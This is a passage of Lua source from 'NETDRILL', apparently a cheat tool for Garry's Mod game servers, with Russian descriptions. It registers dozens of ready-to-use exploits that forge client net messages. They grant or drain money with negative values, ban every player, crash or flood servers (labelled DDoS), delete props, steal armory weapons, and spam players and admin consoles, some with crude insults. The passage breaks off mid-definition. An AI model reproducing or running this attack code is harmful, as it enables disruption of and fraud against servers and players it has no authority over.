  974. if (PM>#PlayerModels) then PM=1 end
  975. if (SK>#Skins) then SK=1 end
  976. if (HN>#Hands) then HN=1 end
  977. if (TS>#Torso) then TS=1 end
  978. if (GL>#Glasses) then GL=1 end
  979. if (LG>#Legs) then LG=1 end
  980. NETDRILL.NetStart("bodyman_model_change")
  981. net.WriteInt(PlayerModels[PM], 10 )
  982. net.SendToServer()
  983. NETDRILL.NetStart("bodygroups_change")
  984. net.WriteTable( { 1, Torso[TS] } )
  985. net.SendToServer()
  986. NETDRILL.NetStart("bodygroups_change")
  987. net.WriteTable( { 2, Legs[LG] } )
  988. net.SendToServer()
  989. NETDRILL.NetStart("bodygroups_change")
  990. net.WriteTable( { 3, Hands[HN] } )
  991. net.SendToServer()
  992. NETDRILL.NetStart("bodygroups_change")
  993. net.WriteTable( { 4, Glasses[GL] } )
  994. net.SendToServer()
  995. end, },
  996. },
  997. } )
  998.  
  999.  
  1000.  
  1001. NETDRILL.AddExploit( "Анти-Маники", {
  1002. desc = "Причиняйте постоянный ущерб соседним принтерам",
  1003. severity = 1,
  1004. scan = function() return NETDRILL.ValidNetString( "customprinter_get" ) end,
  1005. functions = {
  1006. { typ = "func", name = "Начать", func = function()
  1007. if !timer.Exists( "Netdrill_exploit_printersmasher" ) then
  1008. NETDRILL.ChatText( "Антипринтер включен" )
  1009. timer.Create( "Netdrill_exploit_printersmasher", 0, 0, function()
  1010. for k, v in pairs( ents.GetAll() ) do
  1011. if ( v:GetClass():find("print") && v:GetPos():Distance( LocalPlayer():GetPos() ) <= 750 ) then
  1012. NETDRILL.NetStart("customprinter_get")
  1013. net.WriteEntity(v)
  1014. net.WriteString("onoff")
  1015. net.SendToServer()
  1016. end
  1017. end
  1018. end)
  1019. else
  1020. timer.Remove( "Netdrill_exploit_printersmasher" )
  1021. NETDRILL.ChatText( "Антипринтер выключен" )
  1022. end
  1023. end, },
  1024. },
  1025. } )
  1026.  
  1027.  
  1028. NETDRILL.AddExploit( "Бесплатные Патроны", {
  1029. desc = "Дает вам боеприпасы для всего вашего оружия",
  1030. severity = 1,
  1031. scan = function() return NETDRILL.ValidNetString( "TCBBuyAmmo" ) end,
  1032. functions = {
  1033. { typ = "func", name = "Патроны!", func = function()
  1034. for k,v in pairs(GAMEMODE.AmmoTypes) do
  1035. NETDRILL.NetStart("TCBBuyAmmo")
  1036. net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  1037. net.SendToServer()
  1038. end
  1039. end, },
  1040. },
  1041. } )
  1042.  
  1043.  
  1044.  
  1045.  
  1046. NETDRILL.AddExploit( "Крашнуть сервер 4", {
  1047. desc = "Крашните сервер нахуй.",
  1048. severity = 1,
  1049. scan = function() return NETDRILL.ValidNetString( "Keypad" ) end,
  1050. functions = {
  1051. { typ = "func", name = "Start", func = function()
  1052. if !timer.Exists( "NETDRILLhacknetnet_exploit_lagsploit4" ) then
  1053. NETDRILL.ChatText( "Начинаем краш" )
  1054. timer.Create( "NETDRILLhacknetnet_exploit_lagsploit4", 0.02, 0, function()
  1055. for i = 1, 1000 do
  1056. NETDRILL.NetStart("Keypad")
  1057. net.WriteEntity(LocalPlayer())
  1058. net.SendToServer()
  1059. end
  1060. end)
  1061. else
  1062. timer.Remove( "NETDRILLhacknetnet_exploit_lagsploit4" )
  1063. NETDRILL.ChatText( "Кончаем с крашем" )
  1064. end
  1065. end, },
  1066. },
  1067. } )
  1068.  
  1069.  
  1070.  
  1071.  
  1072.  
  1073.  
  1074.  
  1075.  
  1076.  
  1077.  
  1078. NETDRILL.AddExploit( "Забанить всех", {
  1079. desc = "БАНХАММЕР ТАЙМ",
  1080. severity = 3,
  1081. scan = function() return NETDRILL.ValidNetString( "gBan.BanBuffer" ) end,
  1082. functions = {
  1083. { typ = "func", name = "Забанить", func = function()
  1084. for k,v in pairs(player.GetAll()) do              
  1085. if v != LocalPlayer() then      
  1086. NETDRILL.NetStart( "gBan.BanBuffer" )
  1087. net.WriteBool( true )
  1088. net.WriteInt( 0, 32 )
  1089. net.WriteString( "VAC BANNED" )
  1090. net.WriteString( v:SteamID() )
  1091. net.SendToServer()
  1092. end
  1093. end
  1094. end, },
  1095. },
  1096. } )
  1097.  
  1098.  
  1099.  
  1100.  
  1101.  
  1102.  
  1103.  
  1104.  
  1105.  
  1106.  
  1107.  
  1108.  
  1109.  
  1110. NETDRILL.AddExploit( "Шекели!", {
  1111. desc = "Сделайте себя алигархом!",
  1112. severity = 3,
  1113. scan = function() return NETDRILL.ValidNetString( "SendMoney" ) end,
  1114. functions = {
  1115. { typ = "func", name = "Шекели", func = function()        
  1116. NETDRILL.NetStart( "SendMoney" )
  1117. net.WriteEntity( LocalPlayer() )
  1118. net.WriteString( "-100000000" )
  1119. net.SendToServer()
  1120. NETDRILL.ChatText( "Даём бабки" )
  1121. end, },
  1122. },
  1123. } )
  1124.  
  1125.  
  1126.  
  1127.  
  1128.  
  1129. NETDRILL.AddExploit( "Шекели 2!", {
  1130. desc = "Сделайте себя алигархом!",
  1131. severity = 3,
  1132. scan = function() return NETDRILL.ValidNetString( "BailOut" ) end,
  1133. functions = {
  1134. { typ = "func", name = "Шекели", func = function()        
  1135. NETDRILL.NetStart( "BailOut" )
  1136. net.WriteFloat(-10000000)
  1137. net.SendToServer()
  1138. NETDRILL.ChatText( "Даём бабки" )
  1139. end, },
  1140. },
  1141. } )
  1142.  
  1143.  
  1144.  
  1145.  
  1146. NETDRILL.AddExploit( "Шекели 3!", {
  1147. desc = "Сделайте себя алигархом!",
  1148. severity = 3,
  1149. scan = function() return NETDRILL.ValidNetString("Taxi_Add") end,
  1150. functions = {
  1151. { typ = "func", name = "Шекели", func = function()        
  1152. NETDRILL.NetStart("Taxi_Add")
  1153. net.WriteString("MLG")
  1154. net.WriteTable({-1333.647461, -1473.931763, -139.968750})
  1155. net.WriteFloat(-99999999)
  1156. net.WriteString(Desc)
  1157. net.SendToServer()
  1158. NETDRILL.ChatText( "Даём бабки" )
  1159. end, },
  1160. },
  1161. } )
  1162.  
  1163. NETDRILL.AddExploit( "Шекели 4!", {
  1164. desc = "Сделайте себя алигархом!",
  1165. severity = 3,
  1166. scan = function() return NETDRILL.ValidNetString('NET_SS_DoBuyTakeoff') end,
  1167. functions = {
  1168. { typ = "func", name = "Шекели", func = function()        
  1169. NETDRILL.NetStart('NET_SS_DoBuyTakeoff')
  1170. net.WriteEntity(LocalPlayer())          
  1171. net.WriteEntity(swag)          
  1172. net.WriteTable({'spawned_weapon'})          
  1173. net.WriteInt(-100000000, 16)      
  1174. net.SendToServer()
  1175. NETDRILL.ChatText( "Даём бабки" )
  1176. end, },
  1177. },
  1178. } )
  1179.  
  1180. NETDRILL.AddExploit( "Шекели 5!", {
  1181. desc = "Сделайте себя алигархом!",
  1182. severity = 3,
  1183. scan = function() return NETDRILL.ValidNetString("DaHit") end,
  1184. functions = {
  1185. { typ = "func", name = "Шекели", func = function()        
  1186. NETDRILL.NetStart("DaHit")
  1187. net.WriteFloat( -1000 )
  1188. net.WriteEntity( LocalPlayer() )
  1189. net.SendToServer()
  1190. NETDRILL.ChatText( "Даём бабки" )
  1191. end, },
  1192. },
  1193. } )
  1194.  
  1195.  
  1196. NETDRILL.AddExploit( "Изменить налоги", {
  1197. desc = "ВРЕМЯ ДЕФОЛТА!.",
  1198. severity = 3,
  1199. scan = function() return NETDRILL.ValidNetString( "NET_EcSetTax" ) end,
  1200. functions = {
  1201. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent10" },
  1202. { typ = "func", name = "Start", func = function()
  1203. NETDRILL.NetStart("NET_EcSetTax")
  1204. net.WriteInt(-NETDRILL.GetStored( "montant_argent10" ), 16)
  1205. net.SendToServer()
  1206. end, },
  1207. },
  1208. } )
  1209.  
  1210.  
  1211.  
  1212.  
  1213.  
  1214.  
  1215. NETDRILL.AddExploit( "МНОГА ШЕКЕЛЕЙ", {
  1216. desc = "Money Exploit.",
  1217. severity = 3,
  1218. scan = function() return NETDRILL.ValidNetString( "RP_Accept_Fine" ) end,
  1219. functions = {
  1220. { typ = "float", name = "Добавать", min = "1", max = "100000000", default = "100000", addr = "montant_argent11" },
  1221. { typ = "players", addr = "l_players_listing_fine" },
  1222. { typ = "func", name = "Взять", func = function()
  1223. local t = NETDRILL.GetStored( "l_players_listing_fine", {} )
  1224. for k, v in pairs( player.GetAll() ) do
  1225. if !table.HasValue( t, v ) then continue end
  1226. NETDRILL.NetStart("RP_Accept_Fine")
  1227. net.WriteString(v:Nick())
  1228. net.WriteDouble(-NETDRILL.GetStored( "montant_argent11" ))
  1229. net.SendToServer()
  1230. end
  1231. end, },
  1232. { typ = "func", name = "Отправить", func = function()
  1233. local t = NETDRILL.GetStored( "l_players_listing_fine", {} )
  1234. for k, v in pairs( player.GetAll() ) do
  1235. if !table.HasValue( t, v ) then continue end
  1236. NETDRILL.NetStart("RP_Fine_Player")
  1237. net.WriteString(v:Nick())
  1238. net.WriteString(v:Nick())
  1239. net.WriteDouble(NETDRILL.GetStored( "montant_argent11" ))
  1240. net.WriteString("Hacked by NetDrill!")
  1241. net.SendToServer()
  1242. end
  1243. end, },
  1244. { typ = "func", name = "Спам баблом", func = function()
  1245. if !timer.Exists( "spamamandefine" ) then
  1246. NETDRILL.ChatText( "Начинаем спам бабками" )
  1247. timer.Create( "spamamandefine", 0.1, 0, function()
  1248. local t = NETDRILL.GetStored( "l_players_listing_fine", {} )
  1249. for k, v in pairs( player.GetAll() ) do
  1250. if !table.HasValue( t, v ) then continue end
  1251. NETDRILL.NetStart("RP_Fine_Player")
  1252. net.WriteString(v:Nick())
  1253. net.WriteString(v:Nick())
  1254. net.WriteDouble(NETDRILL.GetStored( "montant_argent11" ))
  1255. net.WriteString("Hacked by NetDrill!")
  1256. net.SendToServer()
  1257. end
  1258. end)
  1259. else
  1260. timer.Remove( "spamamandefine" )
  1261. NETDRILL.ChatText( "Кончаем спам бабками" )
  1262. end
  1263. end, },
  1264. },
  1265. } )
  1266.  
  1267.  
  1268.  
  1269. NETDRILL.AddExploit( "Шекели 13", {
  1270. severity = 2,
  1271. scan = function() return NETDRILL.ValidNetString( "RXCAR_Shop_Store_C2S" ) end,
  1272. functions = {
  1273. { typ = "func", name = "Duplicate", func = function()
  1274. for i = 0, 75 do              
  1275. NETDRILL.NetStart( "RXCAR_Shop_Store_C2S" );              
  1276. net.WriteTable( { E = ent } );                
  1277. net.SendToServer();                
  1278. end
  1279. end, },
  1280. { typ = "func", name = "Tout vendre", func = function()
  1281. local ent              
  1282. for k,v in pairs(ents.GetAll()) do                
  1283. if v:GetClass() == "rm_car_dealer" then                
  1284. ent = v                
  1285. end                
  1286. end                
  1287. for k,v in pairs(RX3DCar_Inventory) do                
  1288. NETDRILL.NetStart( "RXCAR_SellINVCar_C2S" )                
  1289. net.WriteTable({UN=v.UniqueID,SE=ent})                
  1290. net.SendToServer()                
  1291. end      
  1292. end, },          
  1293. },
  1294. } )
  1295.  
  1296.  
  1297.  
  1298. NETDRILL.AddExploit( "Крафты", {
  1299. desc = "МУЛЬТИЭКСПЛОИТ <0>",
  1300. severity = 3,
  1301. scan = function() return NETDRILL.ValidNetString( "CRAFTINGMOD_SHOP" ) end,
  1302. functions = {
  1303. { typ = "float", name = "Добавить", min = "1", max = "100000000", default = "100000", addr = "montant_argent14" },
  1304. { typ = "func", name = "Добавить Бабло", func = function()
  1305. NETDRILL.NetStart("CRAFTINGMOD_SHOP")
  1306. net.WriteTable({
  1307. BUY =   -NETDRILL.GetStored( "montant_argent14" );
  1308. type    =   1
  1309. })
  1310. net.WriteInt(1,16)
  1311. net.SendToServer()
  1312. end, },
  1313. { typ = "func", name = "Удалить Бабло", func = function()
  1314. NETDRILL.NetStart("CRAFTINGMOD_SHOP")
  1315. net.WriteTable({
  1316. BUY =   LocalPlayer():getDarkRPVar("money");
  1317. type    =   1
  1318. })
  1319. net.WriteInt(1,16)
  1320. net.SendToServer()
  1321. end, },
  1322. },
  1323. } )
  1324.  
  1325.  
  1326.  
  1327.  
  1328.  
  1329.  
  1330.  
  1331.  
  1332. NETDRILL.AddExploit( "Шекели 6!", {
  1333. desc = "Сделайте себя алигархом!",
  1334. severity = 3,
  1335. scan = function() return NETDRILL.ValidNetString('hhh_request') end,
  1336. functions = {
  1337. { typ = "func", name = "Шекели", func = function()
  1338. for k,v in pairs(player.GetAll()) do  
  1339. local hitRequest = {}
  1340. hitRequest.hitman = LocalPlayer()
  1341. hitRequest.requester = LocalPlayer()
  1342. hitRequest.target = v
  1343. hitRequest.reward = -10000
  1344. NETDRILL.NetStart('hhh_request')
  1345. net.WriteTable( hitRequest )
  1346. net.SendToServer()
  1347. end
  1348. NETDRILL.ChatText( "Даём бабки" )
  1349. end, },
  1350. },
  1351. } )
  1352.  
  1353.  
  1354.  
  1355.  
  1356.  
  1357.  
  1358.  
  1359.  
  1360.  
  1361.  
  1362.  
  1363.  
  1364.  
  1365.  
  1366.  
  1367. NETDRILL.AddExploit( "Шекели 7!", {
  1368. desc = "Сделайте себя алигархом!",
  1369. severity = 3,
  1370. scan = function() return NETDRILL.ValidNetString('BuyCar') end,
  1371. functions = {
  1372. { typ = "func", name = "Шекели", func = function()
  1373.  
  1374. NETDRILL.NetStart('BuyCar')
  1375. net.WriteFloat(-10000)
  1376. net.WriteEntity(LocalPlayer())
  1377. net.WriteString("Gay")
  1378. net.WriteString("Cock")
  1379. net.WriteString("Twat")
  1380. net.SendToServer()
  1381. NETDRILL.ChatText( "Даём бабки" )
  1382. end, },
  1383. },
  1384. } )
  1385.  
  1386.  
  1387. NETDRILL.AddExploit( "Шекели 8!", {
  1388. desc = "Сделайте себя алигархом!",
  1389. severity = 3,
  1390. scan = function() return NETDRILL.ValidNetString("AttemptSellCar") end,
  1391. functions = {
  1392. { typ = "func", name = "Шекели", func = function()
  1393. NETDRILL.ChatText( "Даём бабки" )
  1394. for i=0,30 do  
  1395. for i=1,10 do
  1396. NETDRILL.NetStart( "AttemptSellCar" )    
  1397. net.WriteInt(  i, 8 )
  1398. net.SendToServer()
  1399. end
  1400. end
  1401. end, },
  1402. },
  1403. } )
  1404.  
  1405.  
  1406. NETDRILL.AddExploit( "Шекели 9!", {
  1407. desc = "Сделайте себя алигархом!",
  1408. severity = 3,
  1409. scan = function() return NETDRILL.ValidNetString("TOW_SubmitWarning") end,
  1410. functions = {
  1411. { typ = "func", name = "Шекели", func = function()
  1412. NETDRILL.ChatText( "Даём бабки" )
  1413. for k,v in pairs(ents.GetAll()) do
  1414. NETDRILL.NetStart("TOW_SubmitWarning")
  1415. net.WriteString(LocalPlayer():SteamID())
  1416. net.WriteDouble(-10000)
  1417. net.WriteEntity(v)
  1418. net.SendToServer()
  1419. NETDRILL.NetStart("TOW_PayTheFine")
  1420. net.WriteEntity(v)
  1421. net.SendToServer()
  1422. end
  1423. end, },
  1424. },
  1425. } )
  1426.  
  1427.  
  1428. NETDRILL.AddExploit( "Шекели 10!", {
  1429. desc = "Сделайте себя алигархом!",
  1430. severity = 4,
  1431. scan = function() return NETDRILL.ValidNetString("75_plus_win") end,
  1432. functions = {
  1433. { typ = "float", name = "Дать", min = "1", max = "100000000", default = "100000", addr = "montant_argent" },
  1434. { typ = "players", addr = "l_players_listing" },
  1435. { typ = "func", name = "Шекели", func = function()
  1436. NETDRILL.ChatText( "Даём бабки" )
  1437. local t = NETDRILL.GetStored( "l_players_listing", {} )
  1438. for k, v in pairs( player.GetAll() ) do
  1439. if !table.HasValue( t, v ) then continue end
  1440. NETRILL.NetStart( "75_plus_win" )
  1441. net.WriteString( NETDRILL.GetStored( "montant_argent" ) )
  1442. net.WriteEntity(v)
  1443. net.SendToServer()
  1444. end
  1445. end, },
  1446. { typ = "func", name = "Забрать", func = function()
  1447. NETDRILL.ChatText( "Забираем бабки" )
  1448. local t = NETDRILL.GetStored( "l_players_listing", {} )
  1449. for k, v in pairs( player.GetAll() ) do
  1450. if !table.HasValue( t, v ) then continue end
  1451. NETDRILL.NetStart( "75_plus_win" )
  1452. net.WriteString( -NETDRILL.GetStored( "montant_argent" ) )
  1453. net.WriteEntity(v)
  1454. net.SendToServer()
  1455. end
  1456. end, },
  1457. },
  1458. } )
  1459.  
  1460.  
  1461. NETDRILL.AddExploit( "Шекели 11", {
  1462. desc = "Сделайте себя алигархом!",
  1463. severity = 4,
  1464. scan = function() return NETDRILL.ValidNetString( "SellMinerals" ) end,
  1465. functions = {
  1466. { typ = "float", name = "Кол-во", min = "1", max = "100000000", default = "100000", addr = "montant_argent6" },
  1467. { typ = "func", name = "Начать", func = function()
  1468. for k,v in pairs(SkillDB) do
  1469. if not ( v.iSkill == true ) then
  1470. NETDRILL.NetStart("Upgrade")
  1471. net.WriteTable( { LuaName = v.LuaName, Amount = -NETDRILL.GetStored( "montant_argent6" ) } )
  1472. net.SendToServer()
  1473. NETDRILL.NetStart( "SellMinerals" )
  1474. net.WriteTable( { Target = LocalPlayer() } )
  1475. net.SendToServer()
  1476. end
  1477. end
  1478. end, },
  1479. { typ = "func", name = "Убрать", func = function()
  1480. for k,v in pairs(SkillDB) do
  1481. if not ( v.iSkill == true ) then
  1482. NETDRILL.NetStart("Upgrade")
  1483. net.WriteTable( { LuaName = v.LuaName, Amount = NETDRILL.GetStored( "montant_argent6" ) } )
  1484. net.SendToServer()
  1485. NETDRILL.NetStart( "SellMinerals" )
  1486. net.WriteTable( { Target = LocalPlayer() } )
  1487. net.SendToServer()
  1488. end
  1489. end
  1490. end, },
  1491. },
  1492. } )
  1493.  
  1494.  
  1495.  
  1496. NETDRILL.AddExploit( "Шекели 12", {
  1497. desc = "Сделайте себя алигархом!",
  1498. severity = 4,
  1499. scan = function() return NETDRILL.ValidNetString( "TakeBetMoney" ) end,
  1500. functions = {
  1501. { typ = "func", name = "Prendre", func = function()
  1502. NETDRILL.NetStart( "TakeBetMoney" )
  1503. net.WriteTable({1e333333 , 1e333333})
  1504. net.SendToServer()
  1505. end, },
  1506. },
  1507. } )
  1508. NETDRILL.AddExploit( "Шекели 13", {
  1509. desc = "Сделайте себя алигархом!",
  1510. severity = 3,
  1511. scan = function() return NETDRILL.ValidNetString( "Kun_SellOil" ) end,
  1512. functions = {
  1513. { typ = "func", name = "Prendre", func = function()
  1514. for k,v in pairs(ents.GetAll()) do
  1515. NETDRILL.NetStart("Kun_SellOil")
  1516. net.WriteEntity(v)
  1517. net.SendToServer()
  1518. end
  1519. end, },
  1520. },
  1521. } )
  1522.  
  1523.  
  1524. NETDRILL.AddExploit( "Стать копом", {
  1525. desc = "Стайте копом не проходя унылый говнотест.",
  1526. severity = 2,
  1527. scan = function() return NETDRILL.ValidNetString( "PoliceJoin" ) end,
  1528. functions = {
  1529. { typ = "func", name = "Rejoindre", func = function()
  1530. NETDRILL.NetStart("PoliceJoin")
  1531. net.SendToServer()
  1532. end, },
  1533. },
  1534. } )
  1535.  
  1536. NETDRILL.AddExploit( "Очистить пропы", {
  1537. desc = "Удалите все перма-пропы.",
  1538. severity = 2,
  1539. scan = function() return NETDRILL.ValidNetString( "MDE_RemoveStuff_C2S" ) end,
  1540. functions = {
  1541. { typ = "func", name = "Start", func = function()
  1542. NETDRILL.NetStart( "MDE_RemoveStuff_C2S" )
  1543. net.WriteTable( {DATA="",TARGET=LocalPlayer():GetEyeTrace().Entity} )
  1544. net.SendToServer()
  1545. end, },
  1546. },
  1547. } )
  1548.  
  1549.  
  1550.  
  1551. NETDRILL.AddExploit( "Тестовая функция", {
  1552. desc = "Хз чо делает.",
  1553. severity = 2,
  1554. scan = function() return NETDRILL.ValidNetString( "rpi_trade_end" ) end,
  1555. functions = {
  1556. { typ = "func", name = "Start", func = function()
  1557. NETDRILL.NetStart( "rpi_trade_end" )
  1558. net.WriteUInt( it, 16 )
  1559. net.SendToServer()
  1560. end, },
  1561. },
  1562. } )
  1563.  
  1564.  
  1565. NETDRILL.AddExploit( "Тестовая функция 2", {
  1566. desc = "Хз чо делает.",
  1567. severity = 2,
  1568. scan = function() return NETDRILL.ValidNetString( "ClickerForceSave" ) end,
  1569. functions = {
  1570. { typ = "func", name = "Начать", func = function()
  1571. for k, v in pairs (player.GetAll()) do
  1572. NETDRILL.NetStart( "ClickerForceSave" )
  1573. net.WriteEntity(ply)
  1574. net.WriteInt(1, 1)
  1575. net.SendToServer()
  1576. end
  1577. end, },
  1578. },
  1579. } )
  1580.  
  1581.  
  1582. NETDRILL.AddExploit( "Тестовая функция 3", {
  1583. desc = "Хз чо делает.",
  1584. severity = 2,
  1585. scan = function() return NETDRILL.ValidNetString( "SRequest" ) end,
  1586. functions = {
  1587. { typ = "func", name = "Начать", func = function()
  1588. for k, v in pairs (player.GetAll()) do
  1589. NETDRILL.NetStart( "SRequest" )
  1590. net.WriteEntity(v)
  1591. net.SendToServer()
  1592. end
  1593. end, },
  1594. },
  1595. } )
  1596.  
  1597. NETDRILL.AddExploit( "Вылечить себя", {
  1598. desc = "Ай нид хилинг.",
  1599. severity = 2,
  1600. scan = function() return NETDRILL.ValidNetString( "HealButton" ) end,
  1601. functions = {
  1602. { typ = "func", name = "Вылечиться", func = function()
  1603. for k, v in pairs (player.GetAll()) do
  1604. NETDRILL.NetStart( "HealButton" )
  1605. net.WriteEntity( v )
  1606. net.WriteFloat( 0 )
  1607. net.SendToServer()
  1608. end
  1609. end, },
  1610. },
  1611. } )
  1612.  
  1613.  
  1614. NETDRILL.AddExploit( "Добавить броню", {
  1615. desc = "Ай нид армор.",
  1616. severity = 2,
  1617. scan = function() return NETDRILL.ValidNetString( "ArmorButton" ) end,
  1618. functions = {
  1619. { typ = "func", name = "Вылечиться", func = function()
  1620. for k, v in pairs (player.GetAll()) do
  1621. NETDRILL.NetStart( "ArmorButton" )
  1622. net.WriteEntity( v )
  1623. net.WriteFloat( 0 )
  1624. net.SendToServer()
  1625. end
  1626. end, },
  1627. },
  1628. } )
  1629.  
  1630.  
  1631.  
  1632.  
  1633. NETDRILL.AddExploit( "DDoS уровень #1", {
  1634. desc = "Вызывает значительные задержки на сервере",
  1635. severity = 2,
  1636. scan = function() return NETDRILL.ValidNetString( "ATS_WARP_REMOVE_CLIENT" ) end,
  1637. functions = {
  1638. { typ = "func", name = "DDoS", func = function()
  1639. if !timer.Exists( "Netdrill_exploit_lagsploit1" ) then
  1640. NETDRILL.ChatText( "Начинаем DDoS" )
  1641. timer.Create( "Netdrill_exploit_lagsploit1", 0.02, 0, function()
  1642. for k,v in pairs(player.GetAll()) do
  1643. NETDRILL.NetStart( "ATS_WARP_REMOVE_CLIENT" )
  1644. net.WriteEntity( v )
  1645. net.WriteString( "adminroom1" )
  1646. net.SendToServer()
  1647. NETDRILL.NetStart( "ATS_WARP_FROM_CLIENT" )
  1648. net.WriteEntity( v )
  1649. net.WriteString( "adminroom1" )
  1650. net.SendToServer()
  1651. NETDRILL.NetStart( "ATS_WARP_VIEWOWNER" )
  1652. net.WriteEntity( v )
  1653. net.WriteString( "adminroom1" )
  1654. net.SendToServer()
  1655. end
  1656. end)
  1657. else
  1658. timer.Remove( "Netdrill_exploit_lagsploit1" )
  1659. NETDRILL.ChatText( "Заканчиваем DDoS" )
  1660. end
  1661. end, },
  1662. },
  1663. } )
  1664.  
  1665.  
  1666.  
  1667.  
  1668. NETDRILL.AddExploit( "Спам друзьями 2 (Сообщение)", {
  1669. desc = "Расскажите о том какие у вас друзья!",
  1670. severity = 2,
  1671. scan = function() return NETDRILL.ValidNetString( "sendtable" ) end,
  1672. functions = {
  1673. { typ = "string", name = "Текст", default = "Cock 8====>", addr = "fr_spamstring" },
  1674. { typ = "func", name = "Спам", func = function()
  1675. for k,v in pairs(player.GetAll()) do
  1676. local buyit = {}
  1677. table.insert( buyit, NETDRILL.GetStored( "fr_spamstring", "Cock 8====>" ) )
  1678. NETDRILL.NetStart( "sendtable" )
  1679. net.WriteEntity( v )
  1680. net.WriteTable( buyit )
  1681. net.SendToServer()
  1682. end
  1683. end, },
  1684. },
  1685. } )
  1686.  
  1687.  
  1688.  
  1689.  
  1690.  
  1691.  
  1692.  
  1693.  
  1694.  
  1695.  
  1696. NETDRILL.AddExploit( "Спам в консоль", {
  1697. desc = "Закидайте консоль говном дабы админы немогли ничего прочитать !",
  1698. severity = 1,
  1699. scan = function() return ULib end,
  1700. functions = {
  1701. { typ = "func", name = "DDoS", func = function()
  1702. if !timer.Exists( "Netdrill_exploit_bigspames2" ) then
  1703. NETDRILL.ChatText( "Начинаем спам" )
  1704. timer.Create( "Netdrill_exploit_bigspames2", 0.02, 0, function()
  1705. for i = 1, 200 do
  1706. LocalPlayer():ConCommand( "usernameisdrillingthatconsole" )
  1707. end
  1708. end)
  1709. else
  1710. timer.Remove( "Netdrill_exploit_bigspames2" )
  1711. NETDRILL.ChatText( "Остановка спама" )
  1712. end
  1713. end, },
  1714. },
  1715. } )
  1716.  
  1717.  
  1718. NETDRILL.AddExploit( "Автопродажа наркоты", {
  1719. desc = "Продайте свою дурь!",
  1720. severity = 1,
  1721. scan = function() return NETDRILL.ValidNetString("Kun_SellDrug") end,
  1722. functions = {
  1723. { typ = "func", name = "Дурь", func = function()
  1724. if !timer.Exists( "autosell1" ) then
  1725. NETDRILL.ChatText( "Начинаем автопродажу" )
  1726. timer.Create( "autosell1", 1, 0, function()
  1727. for i = 1, 10 do
  1728. NETDRILL.NetStart("Kun_SellDrug")
  1729. net.WriteString("Meth")
  1730. net.SendToServer()
  1731. end
  1732. end)
  1733. else
  1734. timer.Remove( "autosell1" )
  1735. NETDRILL.ChatText( "Остановка автопродажи" )
  1736. end
  1737. end, },
  1738. },
  1739. } )
  1740.  
  1741.  
  1742.  
  1743.  
  1744.  
  1745.  
  1746.  
  1747.  
  1748.  
  1749.  
  1750.  
  1751.  
  1752. NETDRILL.AddExploit( "Хак Реанимации", {
  1753. desc = "Вы автоматически воскресаете после смерти",
  1754. severity = 2,
  1755. scan = function() return NETDRILL.ValidNetString( "RevivePlayer" ) end,
  1756. functions = {
  1757. { typ = "func", name = "Воскреснуть :)", func = function()
  1758. if !timer.Exists( "Netdrill_exploit_zombie" ) then
  1759. NETDRILL.ChatText( "Режим Бога Включён" )
  1760. timer.Create( "Netdrill_exploit_zombie", 0.5, 0, function()
  1761. if !LocalPlayer():Alive() then
  1762. NETDRILL.NetStart("RevivePlayer")
  1763. net.WriteEntity(LocalPlayer())
  1764. net.SendToServer()
  1765. end
  1766. end)
  1767. else
  1768. timer.Remove( "Netdrill_exploit_zombie" )
  1769. NETDRILL.ChatText( "Режим Бога Выключен!" )
  1770. end
  1771. end, },
  1772. },
  1773. } )
  1774.  
  1775.  
  1776. NETDRILL.AddExploit( "Украсть Оружие", {
  1777. desc = "'ОДОЛЖИТЕ' оружие из полицейского арсенала (вы должны быть рядом с ним), имеет время восстановления 5 минут",
  1778. severity = 2,
  1779. scan = function() return NETDRILL.ValidNetString( "ARMORY_RetrieveWeapon" ) end,
  1780. functions = {
  1781. { typ = "func", name = "Взять оружие 1", func = function()
  1782. NETDRILL.NetStart("ARMORY_RetrieveWeapon")
  1783. net.WriteString("weapon1")
  1784. net.SendToServer()
  1785. end, },
  1786. { typ = "func", name = "Взять оружие 2", func = function()
  1787. NETDRILL.NetStart("ARMORY_RetrieveWeapon")
  1788. net.WriteString("weapon2")
  1789. net.SendToServer()
  1790. end, },
  1791. { typ = "func", name = "Взять оружие 3", func = function()
  1792. NETDRILL.NetStart("ARMORY_RetrieveWeapon")
  1793. net.WriteString("weapon3")
  1794. net.SendToServer()
  1795. end, },
  1796. },
  1797. } )
  1798.  
  1799.  
  1800. NETDRILL.AddExploit( "Эксплоит в системе дверей (админ)", {
  1801. desc = "Разблокировать / Заблокировать дверь / Удалить владельца (вы должны смотреть на дверь)",
  1802. severity = 3,
  1803. scan = function() return NETDRILL.ValidNetString( "fp_as_doorHandler" ) end,
  1804. functions = {
  1805. { typ = "func", name = "Открыть", func = function()
  1806. NETDRILL.NetStart("fp_as_doorHandler")
  1807. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  1808. net.WriteString("unlock")
  1809. net.SendToServer()
  1810. end, },
  1811. { typ = "func", name = "Закрыть", func = function()
  1812. NETDRILL.NetStart("fp_as_doorHandler")
  1813. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  1814. net.WriteString("lock")
  1815. net.SendToServer()
  1816. end, },
  1817. { typ = "func", name = "Удалить хозяина", func = function()
  1818. local door = LocalPlayer():GetEyeTrace().Entity
  1819. local doorOwner = door:getDoorData()["owner"]
  1820. NETDRILL.NetStart("fp_as_doorHandler")
  1821. net.WriteEntity(door)
  1822. net.WriteString("removeOwner")
  1823. net.WriteDouble(doorOwner)
  1824. net.SendToServer()
  1825. end, },
  1826. },
  1827. } )
  1828.  
  1829.  
  1830.  
  1831.  
  1832.  
  1833.  
  1834.  
  1835.  
  1836.  
  1837.  
  1838.  
  1839.  
  1840. NETDRILL.AddExploit( "Репорт спам", {
  1841. desc = "РЕЖИМ СССР ДОНОСОВ!",
  1842. severity = 1,
  1843. scan = function() return NETDRILL.ValidNetString( "TransferReport" ) end,
  1844. functions = {
  1845. { typ = "func", name = "Начать рпорт спам", func = function()
  1846. for k, v in pairs( player.GetAll() ) do
  1847. NETDRILL.NetStart( "TransferReport" )
  1848. net.WriteString( v:SteamID() )
  1849. net.WriteString( "Gaycock" )
  1850. net.WriteString( "Bitch Suck" )
  1851. net.SendToServer()
  1852. end
  1853. end, },
  1854. },
  1855. } )
  1856.  
  1857.  
  1858. NETDRILL.AddExploit( "Крашнуть Сервер 3", {
  1859. desc = "Нажатие заставит сервер застрелиться ;3",
  1860. severity = 3,
  1861. scan = function() return NETDRILL.ValidNetString( "pac_to_contraption" ) end,
  1862. functions = {
